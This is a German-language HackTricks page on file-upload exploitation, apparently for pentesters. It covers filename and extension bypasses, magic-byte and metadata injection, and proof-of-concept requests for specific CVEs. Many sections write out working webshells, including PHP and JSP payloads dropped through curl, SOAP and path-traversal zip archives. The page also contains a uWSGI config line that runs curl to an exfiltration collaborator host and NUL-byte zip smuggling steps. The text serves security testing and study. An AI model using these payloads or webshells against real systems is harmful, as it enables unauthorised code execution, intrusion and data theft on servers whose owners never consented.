Datei-Upload

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Allgemeine Methodik für Datei-Uploads

Weitere nützliche Erweiterungen:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Umgehung von Dateiendungsprüfungen

  1. Falls vorhanden, überprüfe die vorherigen Extensions. Teste sie außerdem mit einigen Großbuchstaben: pHp, .pHP5, .PhAr …
  2. Prüfe das Hinzufügen einer gültigen Extension vor der ausführenden Extension (verwende auch die vorherigen Extensions):
  • file.png.php
  • file.png.Php5
  1. Versuche am Ende Sonderzeichen hinzuzufügen. Du kannst Burp verwenden, um alle ascii- und Unicode-Zeichen zu bruteforcen. (Beachte, dass du auch versuchen kannst, die vorher genannten Extensions zu verwenden)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Versuche die Schutzmechanismen zu umgehen, indem du den serverseitigen Extension-Parser täuschst, z. B. durch Verdopplung der Extension oder Einfügen von Müll-Daten (null-Bytes) zwischen Extensions. Du kannst auch die vorherigen Extensions nutzen, um ein besseres Payload vorzubereiten.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Füge dem vorherigen Check eine weitere Schicht von Extensions hinzu:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Versuche, die ausführende Extension vor der gültigen Extension zu platzieren und hoffe, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Extension** .php, aber nicht unbedingt endend in .php** Code ausführt):
  • ex: file.php.png
  1. Verwendung von NTFS alternate data stream (ADS) unter Windows. In diesem Fall wird ein Doppelpunkt ‘:’ nach einer verbotenen Extension und vor einer erlaubten eingefügt. Infolgedessen wird auf dem Server eine leere Datei mit der verbotenen Extension erstellt (z. B. “file.asax:.jpg”). Diese Datei kann später mit anderen Techniken, wie der Verwendung ihres kurzen Dateinamens, bearbeitet werden. Das Muster “::$data” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann es hilfreich sein, nach diesem Muster einen Punkt hinzuzufügen, um weitere Beschränkungen zu umgehen (z. B. “file.asp::$data.”)
  2. Versuche, die Dateinamensgrenzen zu überschreiten. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Einige Upload-Handler trimmen oder normalisieren nachgestellte Punkte im gespeicherten Dateinamen. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) Versionen vor 2.9.1 kannst du die Extension-Validierung umgehen durch:

  • Verwendung eines gültigen image MIME und magic header (z. B. PNG’s \x89PNG\r\n\x1a\n).
  • Den hochgeladenen Dateinamen mit einer PHP-Extension gefolgt von einem Punkt benennen, z. B. shell.php..
  • Der Server entfernt den nachgestellten Punkt und speichert shell.php, welches ausgeführt wird, wenn es in einem web-Served Verzeichnis abgelegt wird (Standard public storage wie /storage/files/).

Minimaler PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Rufe dann den gespeicherten Pfad auf (typisch in Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Umgehen von Content-Type-, Magic-Number-, Kompression- und Größenprüfungen

  • Umgehe Content-Type-Prüfungen, indem du den Wert des Content-Type-Headers auf setzt: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Umgehe die magic number-Prüfung, indem du am Anfang der Datei die Bytes eines echten Bildes hinzufügst (verwirrt den file-Befehl). Oder füge das Shell-Payload in die metadata ein:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ oder du könntest das Payload direkt in ein Bild einfügen:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Wenn der Kompression dein Bild unterzogen wird, z. B. durch Standard-PHP-Bibliotheken wie PHP-GD, sind die vorherigen Techniken nicht mehr nützlich. Du kannst jedoch die PLTE chunk Technik definiert hier verwenden, um Text einzufügen, der die Kompression überlebt.
  • Github with the code
  • Die Webseite könnte das Bild auch verkleinern (resizen), z. B. mit den PHP-GD-Funktionen imagecopyresized oder imagecopyresampled. Du kannst jedoch die IDAT chunk Technik definiert hier verwenden, um Text einzufügen, der die Kompression überlebt.
  • Github with the code
  • Eine weitere Technik, um ein Payload zu erstellen, das eine Bildgrößenänderung überlebt, nutzt die PHP-GD-Funktion thumbnailImage. Alternativ kannst du die tEXt chunk Technik definiert hier verwenden, um Text einzufügen, der die Kompression überlebt.
  • Github with the code

Weitere Tricks zum Überprüfen

  • Finde eine Schwachstelle, um die bereits hochgeladene Datei umzubenennen (z. B. um die Extension zu ändern).
  • Finde eine Local File Inclusion-Schwachstelle, um das Backdoor auszuführen.
  • Mögliche Informationslecks:
  1. Lade mehrfach (und zur gleichen Zeit) dieselbe Datei mit demselben Namen hoch.
  2. Lade eine Datei mit dem Namen einer Datei oder Ordners, der bereits existiert, hoch.
  3. Lade eine Datei mit “.” , “..”, oder “…” als Name hoch. Zum Beispiel, in Apache unter Windows, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, erzeugt der Dateiname “.” eine Datei namens uploads” im Verzeichnis “/www/”.
  4. Lade eine Datei hoch, die sich nicht einfach löschen lässt, z. B. “…:.jpg” in NTFS. (Windows)
  5. Lade eine Datei in Windows mit ungültigen Zeichen wie |<>*?” im Namen hoch. (Windows)
  6. Lade eine Datei in Windows mit reservierten (verbotenen) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, und LPT9 hoch.
  • Versuche auch, ein executable (.exe) oder eine .html (weniger verdächtig) hochzuladen, die Code ausführt, wenn sie versehentlich vom Opfer geöffnet wird.

Spezialtricks für Extensions

Wenn du versuchst, Dateien auf einen PHP server hochzuladen, sieh dir den .htaccess-Trick zum Ausführen von Code an.
Wenn du versuchst, Dateien auf einen ASP server hochzuladen, sieh dir den .config-Trick zum Ausführen von Code an.

Die .phar Dateien sind wie die .jar für Java, aber für PHP, und können wie eine php-Datei verwendet werden (mit php ausgeführt oder in ein Script inkludiert…).

Die .inc Extension wird manchmal für php-Dateien verwendet, die nur zum Importieren gedacht sind; daher könnte an irgendeinem Punkt erlaubt worden sein, dass diese Extension ausgeführt wird.

Jetty RCE

Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du RCE erhalten, weil **neue .xml und .war automatisch verarbeitet werden. Wie im folgenden Bild erwähnt, lade die XML-Datei nach $JETTY_BASE/webapps/ hoch und erwarte die Shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Für eine detaillierte Untersuchung dieser Schwachstelle sieh dir die Originalforschung an: uWSGI RCE Exploitation.

Remote Command Execution (RCE)-Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die .ini-Konfigurationsdatei zu modifizieren. uWSGI-Konfigurationsdateien verwenden eine spezielle Syntax, um “magic” Variablen, Platzhalter und Operatoren einzubinden. Insbesondere der ‘@’-Operator, verwendet als @(filename), ist dafür gedacht, den Inhalt einer Datei einzubinden. Unter den verschiedenen in uWSGI unterstützten Schemes ist das “exec”-Scheme besonders mächtig, weil es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann für bösartige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read missbraucht werden, wenn eine .ini-Konfigurationsdatei verarbeitet wird.

Betrachte folgendes Beispiel einer schädlichen uwsgi.ini-Datei, das verschiedene Schemes zeigt:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Die Ausführung des payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund eines Denial of Service attack) oder die Datei muss auf auto-reload gesetzt sein. Die Auto-Reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.

Es ist wichtig, die lockere Natur des Parsings von uWSGI-Konfigurationsdateien zu verstehen. Konkret kann der besprochene payload in eine binäre Datei (z. B. ein image oder PDF) eingefügt werden, wodurch sich das Spektrum möglicher Exploits weiter vergrößert.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Ein unauthentifizierter Endpoint in Gibbon LMS erlaubt arbitrary file write innerhalb des Webroots, was zu pre-auth RCE führt, indem eine PHP-Datei abgelegt wird. Verwundbare Versionen: bis einschließlich 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Erforderliche Parameter:
  • img: data-URI-like string: [mime];[name],[base64] (der Server ignoriert type/name und decodiert den Rest mit base64)
  • path: Zieldateiname relativ zum Gibbon-Installationsverzeichnis (z. B. poc.php oder 0xdf.php)
  • gibbonPersonID: ein beliebiger nicht-leerer Wert wird akzeptiert (z. B. 0000000001)

Minimaler PoC zum Schreiben und Zurücklesen einer Datei:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Eine minimale webshell ablegen und Befehle ausführen:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Hinweise:

  • Der Handler führt base64_decode($_POST["img"]) aus, nachdem er an ; und , gesplittet hat, und schreibt die Bytes in $absolutePath . '/' . $_POST['path'], ohne die Erweiterung/den Typ zu validieren.
  • Der resultierende Code läuft als Webservice-Benutzer (z. B. XAMPP Apache unter Windows).

Als Referenzen für diesen Bug gelten das usd HeroLab advisory und der NVD-Eintrag. Siehe den Abschnitt References weiter unten.

wget Datei-Upload/SSRF Trick

In manchen Fällen kann es vorkommen, dass ein Server wget verwendet, um Dateien herunterzuladen, und du die URL angeben kannst. In diesen Fällen prüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings kann diese Prüfung umgangen werden.
Die maximale Länge eines Dateinamens in linux beträgt 255, jedoch kürzt wget die Dateinamen auf 236 Zeichen. Du kannst *eine Datei namens “A”232+“.php”+“.gif” herunterladen, dieser Dateiname wird die Prüfung umgehen (wie in diesem Beispiel “.gif” eine gültige Erweiterung ist), aber wget wird die Datei in *“A”232+“.php” umbenennen.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Beachte, dass eine andere Option, an die du vielleicht denkst, um diese Prüfung zu umgehen, darin besteht, den HTTP server redirect to a different file zu erzwingen, sodass die ursprüngliche URL die Prüfung umgeht, aber wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Das funktioniert nicht, es sei denn wget wird mit dem Parameter --trust-server-names verwendet, weil wget die umgeleitete Seite mit dem in der Original-URL angegebenen Dateinamen herunterladen wird.

Upload-Verzeichnis mittels NTFS junctions (Windows) umgehen

(Für diesen Angriff benötigst du lokalen Zugriff auf die Windows‑Maschine) Wenn Uploads unter per-user-Unterordnern auf Windows gespeichert werden (z. B. C:\Windows\Tasks\Uploads<id>) und du die Erstellung/Löschung dieses Unterordners kontrollierst, kannst du ihn durch eine directory junction ersetzen, die auf einen sensitiven Ort zeigt (z. B. das webroot). Nachfolgende Uploads werden in den Zielpfad geschrieben, was Codeausführung ermöglicht, falls das Ziel server‑side code interpretiert.

Beispielablauf, um Uploads in das XAMPP webroot umzuleiten:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Hinweise

  • mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.
  • Dies leitet beliebige Dateischreibvorgänge um; wenn das Ziel Skripte (PHP/ASP) ausführt, wird dies zu RCE.
  • Gegenmaßnahmen: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).

Generischer Exploit‑Ablauf:

  • Bereite deine server-side Payload vor (z. B. minimale JSP webshell) und gzip-komprimiere die Bytes.
  • Sende ein POST, bei dem ein Pfadparameter (z. B. token) traversal enthält, um aus dem vorgesehenen Ordner zu entkommen, und file den Dateinamen angibt, unter dem gespeichert werden soll. Setze Content-Type: application/octet-stream und Content-Encoding: gzip; der Body ist die komprimierte Nutzlast.
  • Rufe die geschriebene Datei im Browser auf, um die Ausführung auszulösen.

Beispielhafte Anfrage:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Dann auslösen:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Hinweise

  • Zielpfade variieren je nach Installation (z. B. /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in manchen Stacks). Jeder web-exponierte Ordner, der JSP ausführt, funktioniert.
  • Die Burp Suite-Erweiterung Hackvertor kann aus deinem payload einen korrekten gzip-Body erzeugen.
  • Dies ist ein reines pre-auth arbitrary file write → RCE-Pattern; es beruht nicht auf multipart-Parsing.

Gegenmaßnahmen

  • Leite Upload-Ziele serverseitig ab; vertraue niemals Pfadfragmente von Clients.
  • Führe eine Canonicalisierung durch und stelle sicher, dass der aufgelöste Pfad innerhalb eines allow-listed Basisverzeichnisses bleibt.
  • Speichere Uploads auf einem nicht-ausführbaren Volume und verhindere Script-Ausführung aus beschreibbaren Pfaden.

Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)

Axis2-basierte Upload-Services geben manchmal eine uploadFile SOAP-Action frei, die drei vom Angreifer kontrollierte Felder akzeptiert: jobDirectory (Zielverzeichnis), archiveName (Dateiname) und dataHandler (base64-Dateiinhalt). Wenn jobDirectory nicht canonicalized ist, erhält man arbitrary file write via path traversal und kann eine JSP in Tomcat’s webapps ablegen.

Minimaler Request-Umriss (default creds funktionieren oft: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • Bindings sind oft localhost-only; kombiniere mit einem full-read SSRF (absolute-URL request line, Host header ignored), um 127.0.0.1 zu erreichen, falls der Axis2-Port nicht exponiert ist.
  • Nach dem Schreiben rufe /trufusionPortal/jsp/shell.jsp?cmd=id im Browser auf, um auszuführen.

Werkzeuge

  • Upload Bypass ist ein leistungsfähiges Tool, das Pentesters und Bug Hunters dabei unterstützt, File-Upload-Mechanismen zu testen. Es nutzt verschiedene bug bounty Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und so gründliche Prüfungen von Webanwendungen zu ermöglichen.

Korruption von Upload-Indizes durch snprintf-Quirks (historisch)

Einige veraltete Upload-Handler, die snprintf() oder Ähnliches verwenden, um aus einem Single-File-Upload Multi-File-Arrays zu bauen, können dazu verleitet werden, die _FILES-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im Verhalten von snprintf() kann ein sorgfältig gestalteter Single-Upload auf der Serverseite als mehrere indexierte Dateien erscheinen und Logik verwirren, die eine strikte Form annimmt (z. B. als Multi-File-Upload behandeln und unsichere Pfade ausführen). Obwohl das heute eher Nischenrelevanz hat, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älteren Codebasen wieder auf.

Von Datei-Upload zu anderen Schwachstellen

Hier eine Top-10-Liste von Dingen, die du durch Uploads erreichen kannst (von hier):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magische Header-Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures] für andere Dateitypen.

Automatisch entpackte Zip/Tar-Uploads

Wenn du ein ZIP hochladen kannst, das auf dem Server entpackt wird, kannst du zwei Dinge tun:

Lade ein Archiv hoch, das symbolische Links auf andere Dateien enthält; beim Zugriff auf die entpackten Dateien greifst du auf die verlinkten Dateien zu:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

In verschiedene Ordner dekomprimieren

Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekomprimierung ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration gegen OS-level command execution durch bösartige Datei-Uploads schützen könnte, können die hierarchische Kompressionsunterstützung und die directory traversal-Fähigkeiten des ZIP archive format ausgenutzt werden. Dies erlaubt Angreifern, Beschränkungen zu umgehen und aus sicheren Upload-Verzeichnissen zu entkommen, indem sie die Dekomprimierungsfunktionalität der Zielanwendung manipulieren.

Ein automatisierter Exploit, um solche Dateien zu erstellen, ist verfügbar unter evilarc on GitHub. Das Tool kann wie folgt verwendet werden:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Zusätzlich ist der symlink trick with evilarc eine Option. Wenn das Ziel darin besteht, eine Datei wie /flag.txt ins Visier zu nehmen, sollte ein symlink zu dieser Datei in Ihrem System erstellt werden. Das stellt sicher, dass evilarc während seines Betriebs nicht auf Fehler stößt.

Nachfolgend ein Beispiel für Python code, das verwendet wird, um eine bösartige zip-Datei zu erstellen:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

Für weitere Details siehe den Originalbeitrag unter: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/]

  1. Creating a PHP Shell: PHP-Code wird geschrieben, um Befehle aus der $_REQUEST-Variable auszuführen.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Mehrere Dateien werden erstellt und ein zip-Archiv zusammengestellt, das diese Dateien enthält.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Die Namen der Dateien innerhalb des zip werden mit vi oder einem Hex-Editor verändert, indem “xxA” in “../” geändert wird, um Verzeichnisse zu durchqueren.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Wenn ein Backend ZIP-Einträge mit PHPs ZipArchive validiert, die Extraktion beim Schreiben ins Dateisystem jedoch die Rohnamen verwendet, kannst du eine nicht erlaubte Extension einschmuggeln, indem du ein NUL (0x00) in die Dateinamenfelder einfügst. ZipArchive behandelt den Eintragsnamen als C‑String und kürzt am ersten NUL; das Dateisystem schreibt den vollständigen Namen und verwirft alles nach dem NUL.

High-level flow:

  • Bereite eine legitime Container-Datei vor (z. B. ein gültiges PDF), das einen kleinen PHP-Stub in einem Stream einbettet, sodass magic/MIME weiterhin ein PDF sind.
  • Benenne sie z. B. shell.php..pdf, zippe sie und hex‑editiere dann den ZIP-Local-Header und den Central-Directory-Dateinamen, um den ersten . nach .php durch 0x00 zu ersetzen, was zu shell.php\x00.pdf führt.
  • Validatoren, die sich auf ZipArchive verlassen, “sehen” shell.php .pdf und erlauben die Datei; der Extractor schreibt shell.php auf die Festplatte, was zu RCE führt, wenn der Upload-Ordner ausführbar ist.

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Hinweise

  • Ändere beide Vorkommen des filename (local und central directory). Manche Tools fügen auch einen zusätzlichen data descriptor-Eintrag hinzu – passe alle name-Felder an, falls vorhanden.
  • Die Payload-Datei muss weiterhin server‑side magic/MIME sniffing bestehen. Das Einbetten des PHP in einen PDF-Stream hält den Header gültig.
  • Funktioniert, wenn der enum/validation-Pfad und der extraction/write-Pfad in der String‑Behandlung auseinandergehen.

Gestapelte/verkettete ZIPs (Parser-Uneinigkeit)

Das Aneinanderfügen von zwei gültigen ZIP-Dateien erzeugt einen Blob, bei dem verschiedene Parser sich auf unterschiedliche EOCD-Einträge konzentrieren. Viele Tools lokalisieren das letzte End Of Central Directory (EOCD), während einige Bibliotheken (z. B. ZipArchive in bestimmten Workflows) das erste gefundene Archiv parsen können. Wenn die Validierung das erste Archiv enumeriert und die Extraktion ein anderes Tool verwendet, das das letzte EOCD berücksichtigt, kann ein harmloses Archiv die Prüfungen passieren, während ein bösartiges extrahiert wird.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
